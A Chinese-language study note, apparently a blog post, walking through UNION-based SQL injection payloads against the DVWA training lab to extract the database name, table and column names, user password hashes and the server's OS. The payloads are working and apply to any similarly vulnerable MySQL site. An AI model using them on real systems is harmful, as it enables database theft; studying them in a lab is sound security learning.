接上一篇SQL注入的學習筆記,上一篇我經過報錯信息得知後臺數據庫是MySQL(這個信息很是重要~),而後經過SQL注入拿到了用戶表的全部行,其實咱們還能夠經過MySQL的特性來拿更多的信息。sql
1. 獲取當前數據庫名稱數據庫
輸入:2' union select 1,database() '函數
輸出:數據庫名稱爲dvwa 學習
database()是Mysql自帶函數,用來獲取當前數據庫名稱。加密
2.獲取當前數據庫全部表名操作系統
輸入:1' union select 1,table_name from information_schema.tables where table_schema='dvwa3d
輸出:dvwa數據庫中一共有兩張表,分別是gestbook和userscode
information_schema是MySQL自帶數據庫,用來存儲MySQL數據庫元數據,通俗來講就是MySQL中的全部數據庫名,每一個數據庫的表名,每一個表的列名等等。orm
3. 獲取用戶表的全部字段名blog
輸入:1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users
輸出:users表中比較重要的列名:user,password
4. 獲取用戶表中的數據
輸入:'
UNION
select
user,
password
from
users# (#爲MySQL的註釋符,至關於將後面的單引號註釋掉了)
輸出:拿到了全部用戶名和加密過的密碼
若是數據庫的密碼存儲的是明文,Hmm......
同理,你還想要什麼數據,均可以隨便取用了,把整個數據庫拖出來均可以!既然能夠查詢,那刪除和修改也是能夠有的!
若是是涉及到money的系統數據庫被攻破,Hmm......Hmm......
5. 獲取操做系統類型
輸入:'UNION select 1,@@basedir#
輸出:Windows操做系統
一點點感悟:
1. 數據庫中的敏感信息必定要加密!
如需轉載,請註明出處,這是對他人勞動成果的尊重~